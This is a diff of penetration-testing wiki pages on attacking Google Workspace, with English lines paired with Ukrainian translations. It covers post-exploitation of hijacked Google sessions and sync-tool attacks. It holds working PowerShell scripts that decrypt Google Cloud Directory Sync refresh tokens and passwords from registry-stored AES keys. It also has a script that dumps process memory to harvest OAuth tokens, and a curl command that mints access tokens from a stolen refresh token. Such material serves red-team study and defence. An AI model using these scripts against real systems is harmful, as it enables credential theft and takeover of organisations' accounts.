|
||||
gws-google-platforms-phishing/gws-app-scripts.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Метью Брайант - Злам G Suite: Сила темної магії App Script
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Майк Фелч і Боу Буллок - ОК Google, як мені провести Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,78 +1,74 @@
|
||||
# GWS - Post Exploitation
|
||||
# GWS - Постексплуатація
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Google Groups Privesc
|
||||
## Привілегії Google Groups
|
||||
|
||||
By default in workspace a **group** can be **freely accessed** by any member of the organization.\
|
||||
Workspace also allow to **grant permission to groups** (even GCP permissions), so if groups can be joined and they have extra permissions, an attacker may **abuse that path to escalate privileges**.
|
||||
За замовчуванням у Workspace **група** може бути **вільно доступна** будь-якому члену організації.\
|
||||
Workspace також дозволяє **надавати дозволи групам** (навіть дозволи GCP), тому якщо групи можуть бути приєднані і мають додаткові дозволи, зловмисник може **зловживати цим шляхом для ескалації привілеїв**.
|
||||
|
||||
You potentially need access to the console to join groups that allow to be joined by anyone in the org. Check groups information in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
Вам потенційно потрібен доступ до консолі, щоб приєднатися до груп, які дозволяють приєднання будь-ким в організації. Перевірте інформацію про групи на [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
|
||||
|
||||
### Access Groups Mail info
|
||||
### Інформація про доступ до групової пошти
|
||||
|
||||
If you managed to **compromise a google user session**, from [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) you can see the history of mails sent to the mail groups the user is member of, and you might find **credentials** or other **sensitive data**.
|
||||
Якщо вам вдалося **зламати сесію користувача Google**, з [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups) ви можете побачити історію листів, надісланих до групи пошти, членом якої є користувач, і ви можете знайти **облікові дані** або інші **чутливі дані**.
|
||||
|
||||
## GCP <--> GWS Pivoting
|
||||
## GCP <--> GWS Півотування
|
||||
|
||||
{{#ref}}
|
||||
../gcp-security/gcp-to-workspace-pivoting/
|
||||
{{#endref}}
|
||||
|
||||
## Takeout - Download Everything Google Knows about an account
|
||||
## Takeout - Завантажте все, що Google знає про обліковий запис
|
||||
|
||||
If you have a **session inside victims google account** you can download everything Google saves about that account from [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
Якщо у вас є **сесія всередині облікового запису жертви Google**, ви можете завантажити все, що Google зберігає про цей обліковий запис, з [**https://takeout.google.com**](https://takeout.google.com/u/1/?pageId=none)
|
||||
|
||||
## Vault - Download all the Workspace data of users
|
||||
## Vault - Завантажте всі дані Workspace користувачів
|
||||
|
||||
If an organization has **Google Vault enabled**, you might be able to access [**https://vault.google.com**](https://vault.google.com/u/1/) and **download** all the **information**.
|
||||
Якщо в організації **увімкнено Google Vault**, ви можете отримати доступ до [**https://vault.google.com**](https://vault.google.com/u/1/) і **завантажити** всю **інформацію**.
|
||||
|
||||
## Contacts download
|
||||
## Завантаження контактів
|
||||
|
||||
From [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) you can download all the **contacts** of the user.
|
||||
З [**https://contacts.google.com**](https://contacts.google.com/u/1/?hl=es&tab=mC) ви можете завантажити всі **контакти** користувача.
|
||||
|
||||
## Cloudsearch
|
||||
|
||||
In [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) you can just search **through all the Workspace content** (email, drive, sites...) a user has access to. Ideal to **quickly find sensitive information**.
|
||||
На [**https://cloudsearch.google.com/**](https://cloudsearch.google.com) ви можете просто шукати **всередині всього контенту Workspace** (електронна пошта, диск, сайти...) до якого має доступ користувач. Ідеально підходить для **швидкого знаходження чутливої інформації**.
|
||||
|
||||
## Google Chat
|
||||
|
||||
In [**https://mail.google.com/chat**](https://mail.google.com/chat) you can access a Google **Chat**, and you might find sensitive information in the conversations (if any).
|
||||
На [**https://mail.google.com/chat**](https://mail.google.com/chat) ви можете отримати доступ до Google **Чату**, і ви можете знайти чутливу інформацію в розмовах (якщо такі є).
|
||||
|
||||
## Google Drive Mining
|
||||
## Видобуток Google Drive
|
||||
|
||||
When **sharing** a document you can **specify** the **people** that can access it one by one, **share** it with your **entire company** (**or** with some specific **groups**) by **generating a link**.
|
||||
Коли ви **ділитеся** документом, ви можете **вказати** **людей**, які можуть отримати до нього доступ по одному, **поділитися** ним з вашою **всєю компанією** (**або** з деякими конкретними **групами**) шляхом **генерації посилання**.
|
||||
|
||||
When sharing a document, in the advance setting you can also **allow people to search** for this file (by **default** this is **disabled**). However, it's important to note that once users views a document, it's searchable by them.
|
||||
При обміні документом у розширених налаштуваннях ви також можете **дозволити людям шукати** цей файл (за **замовчуванням** це **вимкнено**). Однак важливо зазначити, що як тільки користувачі переглядають документ, він стає доступним для пошуку ними.
|
||||
|
||||
For sake of simplicity, most of the people will generate and share a link instead of adding the people that can access the document one by one.
|
||||
Для простоти більшість людей генеруватимуть і ділитимуться посиланням замість того, щоб додавати людей, які можуть отримати доступ до документа по одному.
|
||||
|
||||
Some proposed ways to find all the documents:
|
||||
Деякі запропоновані способи знайти всі документи:
|
||||
|
||||
- Search in internal chat, forums...
|
||||
- **Spider** known **documents** searching for **references** to other documents. You can do this within an App Script with[ **PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
- Шукати в внутрішньому чаті, форумах...
|
||||
- **Спайдерити** відомі **документи**, шукаючи **посилання** на інші документи. Ви можете зробити це в App Script з [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser)
|
||||
|
||||
## **Keep Notes**
|
||||
|
||||
In [**https://keep.google.com/**](https://keep.google.com) you can access the notes of the user, **sensitive** **information** might be saved in here.
|
||||
На [**https://keep.google.com/**](https://keep.google.com) ви можете отримати доступ до нотаток користувача, **чутлива** **інформація** може бути збережена тут.
|
||||
|
||||
### Modify App Scripts
|
||||
### Модифікація App Scripts
|
||||
|
||||
In [**https://script.google.com/**](https://script.google.com/) you can find the APP Scripts of the user.
|
||||
На [**https://script.google.com/**](https://script.google.com/) ви можете знайти APP Scripts користувача.
|
||||
|
||||
## **Administrate Workspace**
|
||||
## **Адміністрування Workspace**
|
||||
|
||||
In [**https://admin.google.com**/](https://admin.google.com), you might be able to modify the Workspace settings of the whole organization if you have enough permissions.
|
||||
На [**https://admin.google.com**/](https://admin.google.com) ви можете змінити налаштування Workspace для всієї організації, якщо у вас достатньо дозволів.
|
||||
|
||||
You can also find emails by searching through all the user's invoices in [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
Ви також можете знайти електронні листи, шукаючи через всі рахунки користувача на [**https://admin.google.com/ac/emaillogsearch**](https://admin.google.com/ac/emaillogsearch)
|
||||
|
||||
## References
|
||||
## Посилання
|
||||
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch and Beau Bullock - OK Google, How do I Red Team GSuite?
|
||||
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Метью Брайант - Злам G Suite: Сила темної магії Apps Script
|
||||
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Майк Фелч і Боу Буллок - ОК Google, як мені провести Red Team GSuite?
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,15 +1,15 @@
|
||||
# GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
|
||||
# GWS - Атаки синхронізації Workspace (GCPW, GCDS, GPS, Синхронізація каталогу з AD та EntraID)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## GCPW - Google Credential Provider for Windows
|
||||
|
||||
This is the single sign-on that Google Workspaces provides so users can login in their Windows PCs using **their Workspace credentials**. Moreover, this will store **tokens** to access Google Workspace in some places in the PC: Disk, memory & the registry... it's even possible to obtain the **clear text password**.
|
||||
Це єдиний вхід, який надає Google Workspaces, щоб користувачі могли входити в свої ПК на Windows, використовуючи **свої облікові дані Workspace**. Більше того, це зберігатиме **токени** для доступу до Google Workspace в деяких місцях на ПК: диск, пам'ять та реєстр... навіть можливо отримати **пароль у відкритому вигляді**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCPW**, get information about the configuration and **even tokens**.
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатен виявити **GCPW**, отримати інформацію про конфігурацію та **навіть токени**.
|
||||
|
||||
Find more information about this in:
|
||||
Знайдіть більше інформації про це в:
|
||||
|
||||
{{#ref}}
|
||||
gcpw-google-credential-provider-for-windows.md
|
||||
@@ -17,14 +17,14 @@ gcpw-google-credential-provider-for-windows.md
|
||||
|
||||
## GCSD - Google Cloud Directory Sync
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
Це інструмент, який можна використовувати для **синхронізації ваших користувачів та груп активного каталогу з вашим Workspace** (а не навпаки на момент написання цього тексту).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
Це цікаво, оскільки це інструмент, який вимагатиме **облікові дані суперкористувача Workspace та привілейованого користувача AD**. Тому, можливо, його можна знайти на сервері домену, який час від часу синхронізує користувачів.
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатен виявити **GCDS**, отримати інформацію про конфігурацію та **навіть паролі та зашифровані облікові дані**.
|
||||
|
||||
Find more information about this in:
|
||||
Знайдіть більше інформації про це в:
|
||||
|
||||
{{#ref}}
|
||||
gcds-google-cloud-directory-sync.md
|
||||
@@ -32,31 +32,27 @@ gcds-google-cloud-directory-sync.md
|
||||
|
||||
## GPS - Google Password Sync
|
||||
|
||||
This is the binary and service that Google offers in order to **keep synchronized the passwords of the users between the AD** and Workspace. Every-time a user changes his password in the AD, it's set to Google.
|
||||
Це двійковий файл та служба, яку Google пропонує для **збереження синхронізації паролів користувачів між AD** та Workspace. Кожного разу, коли користувач змінює свій пароль в AD, він встановлюється в Google.
|
||||
|
||||
It gets installed in `C:\Program Files\Google\Password Sync` where you can find the binary `PasswordSync.exe` to configure it and `password_sync_service.exe` (the service that will continue running).
|
||||
Він встановлюється в `C:\Program Files\Google\Password Sync`, де ви можете знайти двійковий файл `PasswordSync.exe` для його налаштування та `password_sync_service.exe` (служба, яка продовжить працювати).
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GPS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатен виявити **GPS**, отримати інформацію про конфігурацію та **навіть паролі та зашифровані облікові дані**.
|
||||
|
||||
Find more information about this in:
|
||||
Знайдіть більше інформації про це в:
|
||||
|
||||
{{#ref}}
|
||||
gps-google-password-sync.md
|
||||
{{#endref}}
|
||||
|
||||
## Admin Directory Sync
|
||||
## Синхронізація каталогу адміністратора
|
||||
|
||||
The main difference between this way to synchronize users with GCDS is that GCDS is done manually with some binaries you need to download and run while **Admin Directory Sync is serverless** managed by Google in [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
Основна різниця між цим способом синхронізації користувачів з GCDS полягає в тому, що GCDS виконується вручну з деякими двійковими файлами, які потрібно завантажити та запустити, тоді як **Синхронізація каталогу адміністратора є безсерверною** і керується Google на [https://admin.google.com/ac/sync/externaldirectories](https://admin.google.com/ac/sync/externaldirectories).
|
||||
|
||||
Find more information about this in:
|
||||
Знайдіть більше інформації про це в:
|
||||
|
||||
{{#ref}}
|
||||
gws-admin-directory-sync.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,28 +4,27 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
This is a tool that can be used to **sync your active directory users and groups to your Workspace** (and not the other way around by the time of this writing).
|
||||
Це інструмент, який можна використовувати для **синхронізації ваших користувачів та груп активного каталогу з вашим Workspace** (а не навпаки на момент написання цього тексту).
|
||||
|
||||
It's interesting because it's a tool that will require the **credentials of a Workspace superuser and privileged AD user**. So, it might be possible to find it inside a domain server that would be synchronising users from time to time.
|
||||
Це цікаво, оскільки це інструмент, який вимагатиме **облікові дані суперкористувача Workspace та привілейованого користувача AD**. Тому, можливо, його можна знайти на сервері домену, який час від часу синхронізує користувачів.
|
||||
|
||||
> [!NOTE]
|
||||
> To perform a **MitM** to the **`config-manager.exe`** binary just add the following line in the `config.manager.vmoptions` file: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
> Щоб виконати **MitM** для бінарного файлу **`config-manager.exe`**, просто додайте наступний рядок у файл `config.manager.vmoptions`: **`-Dcom.sun.net.ssl.checkRevocation=false`**
|
||||
|
||||
> [!TIP]
|
||||
> Note that [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) is capable to detect **GCDS**, get information about the configuration and **even the passwords and encrypted credentials**.
|
||||
> Зверніть увагу, що [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) здатний виявити **GCDS**, отримати інформацію про конфігурацію та **навіть паролі та зашифровані облікові дані**.
|
||||
|
||||
Also note that GCDS won't synchronize passwords from AD to Workspace. If something it'll just generate random passwords for newly created users in Workspace as you can see in the following image:
|
||||
Також зверніть увагу, що GCDS не синхронізує паролі з AD до Workspace. Якщо щось, він просто згенерує випадкові паролі для новостворених користувачів у Workspace, як ви можете бачити на наступному зображенні:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5780773316536156543-x.jpg" alt="" width="515"><figcaption></figcaption></figure>
|
||||
|
||||
### GCDS - Disk Tokens & AD Credentials
|
||||
|
||||
The binary `config-manager.exe` (the main GCDS binary with GUI) will store the configured Active Directory credentials, the refresh token and the access by default in a **xml file** in the folder **`C:\Program Files\Google Cloud Directory Sync`** in a file called **`Untitled-1.xml`** by default. Although it could also be saved in the `Documents` of the user or in **any other folder**.
|
||||
Бінарний файл `config-manager.exe` (основний бінарний файл GCDS з GUI) за замовчуванням зберігатиме налаштовані облікові дані Active Directory, токен оновлення та доступ у **xml файлі** в папці **`C:\Program Files\Google Cloud Directory Sync`** у файлі під назвою **`Untitled-1.xml`** за замовчуванням. Хоча його також можна зберегти в `Documents` користувача або в **будь-якій іншій папці**.
|
||||
|
||||
Moreover, the registry **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** inside the key **`open.recent`** contains the paths to all the recently opened configuration files (xmls). So it's possible to **check it to find them**.
|
||||
|
||||
The most interesting information inside the file would be:
|
||||
Більше того, реєстр **`HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui`** всередині ключа **`open.recent`** містить шляхи до всіх нещодавно відкритих конфігураційних файлів (xml). Тому можливо **перевірити це, щоб знайти їх**.
|
||||
|
||||
Найцікавіша інформація всередині файлу буде:
|
||||
```xml
|
||||
[...]
|
||||
<loginMethod>OAUTH2</loginMethod>
|
||||
@@ -50,13 +49,11 @@ The most interesting information inside the file would be:
|
||||
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
|
||||
[...]
|
||||
```
|
||||
|
||||
Note how the **refresh** **token** and the **password** of the user are **encrypted** using **AES CBC** with a randomly generated key and IV stored in **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (wherever the **`prefs`** Java library store the preferences) in the string keys **`/Encryption/Policy/V2.iv`** and **`/Encryption/Policy/V2.key`** stored in base64.
|
||||
Зверніть увагу, як **refresh** **token** та **password** користувача **шифруються** за допомогою **AES CBC** з випадково згенерованим ключем та IV, які зберігаються в **`HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util`** (де б не зберігала бібліотека **`prefs`** Java налаштування) у рядкових ключах **`/Encryption/Policy/V2.iv`** та **`/Encryption/Policy/V2.key`**, збережених у base64.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Powershell script to decrypt the refresh token and the password</summary>
|
||||
|
||||
<summary>Powershell скрипт для розшифровки refresh token та password</summary>
|
||||
```powershell
|
||||
# Paths and key names
|
||||
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
|
||||
@@ -66,34 +63,34 @@ $keyKeyName = "/Encryption/Policy/V2.key"
|
||||
|
||||
# Open the registry key
|
||||
try {
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
|
||||
if (-not $regKey) {
|
||||
Throw "Registry key not found: HKCU\$regPath"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
Write-Error "Failed to open registry key: $_"
|
||||
exit
|
||||
}
|
||||
|
||||
# Get Base64-encoded IV and Key from the registry
|
||||
try {
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
$ivBase64 = $regKey.GetValue($ivKeyName)
|
||||
$ivBase64 = $ivBase64 -replace '/', ''
|
||||
$ivBase64 = $ivBase64 -replace '\\', '/'
|
||||
if (-not $ivBase64) {
|
||||
Throw "IV not found in registry"
|
||||
}
|
||||
$keyBase64 = $regKey.GetValue($keyKeyName)
|
||||
$keyBase64 = $keyBase64 -replace '/', ''
|
||||
$keyBase64 = $keyBase64 -replace '\\', '/'
|
||||
if (-not $keyBase64) {
|
||||
Throw "Key not found in registry"
|
||||
}
|
||||
}
|
||||
catch {
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
Write-Error "Failed to read registry values: $_"
|
||||
exit
|
||||
}
|
||||
$regKey.Close()
|
||||
|
||||
@@ -118,25 +115,25 @@ $encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
|
||||
|
||||
# Function to decrypt data using AES CBC
|
||||
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
$aes = [System.Security.Cryptography.Aes]::Create()
|
||||
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
|
||||
$aes.KeySize = 256
|
||||
$aes.BlockSize = 128
|
||||
$aes.Key = $keyBytes
|
||||
$aes.IV = $ivBytes
|
||||
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
$decryptor = $aes.CreateDecryptor()
|
||||
$memoryStream = New-Object System.IO.MemoryStream
|
||||
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
|
||||
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
|
||||
$cryptoStream.FlushFinalBlock()
|
||||
$plaintextBytes = $memoryStream.ToArray()
|
||||
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
$cryptoStream.Close()
|
||||
$memoryStream.Close()
|
||||
|
||||
return $plaintextBytes
|
||||
return $plaintextBytes
|
||||
}
|
||||
|
||||
# Decrypt the values
|
||||
@@ -150,23 +147,21 @@ $decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBy
|
||||
Write-Host "Decrypted Refresh Token: $refreshToken"
|
||||
Write-Host "Decrypted Password: $decryptedPassword"
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
> [!NOTE]
|
||||
> Note that it's possible to check this information checking the java code of **`DirSync.jar`** from **`C:\Program Files\Google Cloud Directory Sync`** searching for the string `exportkeys` (as thats the cli param that the binary `upgrade-config.exe` expects to dump the keys).
|
||||
> Зверніть увагу, що цю інформацію можна перевірити, переглянувши java-код **`DirSync.jar`** з **`C:\Program Files\Google Cloud Directory Sync`**, шукаючи рядок `exportkeys` (оскільки це параметр cli, який бінарний файл `upgrade-config.exe` очікує для виведення ключів).
|
||||
|
||||
Instead of using the powershell script, it's also possible to use the binary **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** with the param `-exportKeys` and get the **Key** and **IV** from the registry in hex and then just use some cyberchef with AES/CBC and that key and IV to decrypt the info.
|
||||
Замість використання скрипта PowerShell, також можна використовувати бінарний файл **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** з параметром `-exportKeys` і отримати **Key** та **IV** з реєстру в шістнадцятковому форматі, а потім просто використати CyberChef з AES/CBC та цим ключем і IV для розшифровки інформації.
|
||||
|
||||
### GCDS - Dumping tokens from memory
|
||||
### GCDS - Вивантаження токенів з пам'яті
|
||||
|
||||
Just like with GCPW, it's possible to dump the memory of the process of the `config-manager.exe` process (it's the name of the GCDS main binary with GUI) and you will be able to find refresh and access tokens (if they have been generated already).\
|
||||
I guess you could also find the AD configured credentials.
|
||||
Так само, як і з GCPW, можливо вивантажити пам'ять процесу `config-manager.exe` (це назва основного бінарного файлу GCDS з GUI), і ви зможете знайти токени оновлення та доступу (якщо вони вже були згенеровані).\
|
||||
Гадаю, ви також могли б знайти налаштовані облікові дані AD.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Dump config-manager.exe processes and search tokens</summary>
|
||||
|
||||
<summary>Вивантажити процеси config-manager.exe та шукати токени</summary>
|
||||
```powershell
|
||||
# Define paths for Procdump and Strings utilities
|
||||
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
|
||||
@@ -175,13 +170,13 @@ $dumpFolder = "C:\Users\Public\dumps"
|
||||
|
||||
# Regular expressions for tokens
|
||||
$tokenRegexes = @(
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
|
||||
"1//[a-zA-Z0-9_\.\-]{50,}"
|
||||
)
|
||||
|
||||
# Create a directory for the dumps if it doesn't exist
|
||||
if (!(Test-Path $dumpFolder)) {
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
New-Item -Path $dumpFolder -ItemType Directory
|
||||
}
|
||||
|
||||
# Get all Chrome process IDs
|
||||
@@ -189,96 +184,92 @@ $chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyConti
|
||||
|
||||
# Dump each Chrome process
|
||||
foreach ($processId in $chromeProcesses) {
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
Write-Output "Dumping process with PID: $processId"
|
||||
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
|
||||
}
|
||||
|
||||
# Extract strings and search for tokens in each dump
|
||||
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
$dumpFile = $_.FullName
|
||||
$baseName = $_.BaseName
|
||||
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
|
||||
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
|
||||
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
Write-Output "Extracting strings from $dumpFile"
|
||||
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
|
||||
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
|
||||
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
|
||||
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
foreach ($file in $outputFiles) {
|
||||
foreach ($regex in $tokenRegexes) {
|
||||
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
$matches = Select-String -Path $file -Pattern $regex -AllMatches
|
||||
|
||||
$uniqueMatches = @{}
|
||||
$uniqueMatches = @{}
|
||||
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
foreach ($matchInfo in $matches) {
|
||||
foreach ($match in $matchInfo.Matches) {
|
||||
$matchValue = $match.Value
|
||||
if (-not $uniqueMatches.ContainsKey($matchValue)) {
|
||||
$uniqueMatches[$matchValue] = @{
|
||||
LineNumber = $matchInfo.LineNumber
|
||||
LineText = $matchInfo.Line.Trim()
|
||||
FilePath = $matchInfo.Path
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
foreach ($matchValue in $uniqueMatches.Keys) {
|
||||
$info = $uniqueMatches[$matchValue]
|
||||
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
|
||||
}
|
||||
}
|
||||
|
||||
Write-Output ""
|
||||
}
|
||||
Write-Output ""
|
||||
}
|
||||
}
|
||||
|
||||
Remove-Item -Path $dumpFolder -Recurse -Force
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### GCDS - Generating access tokens from refresh tokens
|
||||
|
||||
Using the refresh token it's possible to generate access tokens using it and the client ID and client secret specified in the following command:
|
||||
### GCDS - Генерація токенів доступу з токенів оновлення
|
||||
|
||||
Використовуючи токен оновлення, можна згенерувати токени доступу, використовуючи його та ідентифікатор клієнта і секрет клієнта, зазначені в наступній команді:
|
||||
```bash
|
||||
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
|
||||
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
|
||||
--data "grant_type=refresh_token" \
|
||||
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
|
||||
https://www.googleapis.com/oauth2/v4/token
|
||||
